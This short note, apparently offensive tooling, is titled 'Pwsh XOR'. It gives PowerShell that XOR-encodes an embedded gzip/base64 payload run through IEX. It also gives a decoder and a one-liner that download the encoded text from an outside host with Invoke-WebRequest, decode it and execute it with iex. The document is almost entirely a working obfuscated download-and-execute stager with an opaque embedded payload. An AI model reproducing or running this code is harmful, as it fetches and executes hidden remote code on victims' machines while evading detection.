Pwsh XOR

Encryptor:

$enc = [system.Text.Encoding]::UTF8
$string1 = "z"; 
$key = $enc.GetBytes($string1);

$a = @'
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("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"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
'@

$pt =  [System.Text.Encoding]::UTF8.GetBytes($a);


$bytes = [System.Byte[]]::new($pt.Length);
for($i=0; $i -lt $key.count ; $i++)
{
    for($ii=0; $ii -lt $pt.count; $ii++)
    {
    $bytes[$ii] = $pt[$ii] -bxor $key[$i];
    $pt[$ii] = $bytes[$ii];
    }
}


$b = [System.Convert]::ToBase64String($pt);
$b;

Decryptor:

$key = [system.Text.Encoding]::UTF8.GetBytes("z");
$enc = (Invoke-WebRequest https://mywebsite.net/test/test.txt).Content;

$enc = $enc.replace("`n","").replace("`r","");
$enc = $enc.Replace('-', '+');
$enc = $enc.Replace('_', '/');
$pt =  [System.Convert]::FromBase64String($enc);

$bytes = [System.Byte[]]::new($pt.Length);
for($i=0; $i -lt $key.count ; $i++)
{
    for($ii=0; $ii -lt $pt.count; $ii++)
    {
    $bytes[$ii] = $pt[$ii] -bxor $key[$i];
    $pt[$ii] = $bytes[$ii];
    }
}

       
$cmd = [System.Text.Encoding]::UTF8.GetString($pt);

$cmd;
iex $cmd;

One-liner

$key = [system.Text.Encoding]::UTF8.GetBytes("z");$enc = (Invoke-WebRequest https://mywebsite.net/test/test.txt).Content;$enc = $enc.replace("`n","").replace("`r","");$enc = $enc.Replace("-", "+");$enc = $enc.Replace("_", "/");$pt =  [System.Convert]::FromBase64String($enc);$bytes = [System.Byte[]]::new($pt.Length);for($i=0; $i -lt $key.count ; $i++){for($ii=0; $ii -lt $pt.count; $ii++){$bytes[$ii] = $pt[$ii] -bxor $key[$i];$pt[$ii] = $bytes[$ii];}}$cmd = [System.Text.Encoding]::UTF8.GetString($pt);iex $cmd;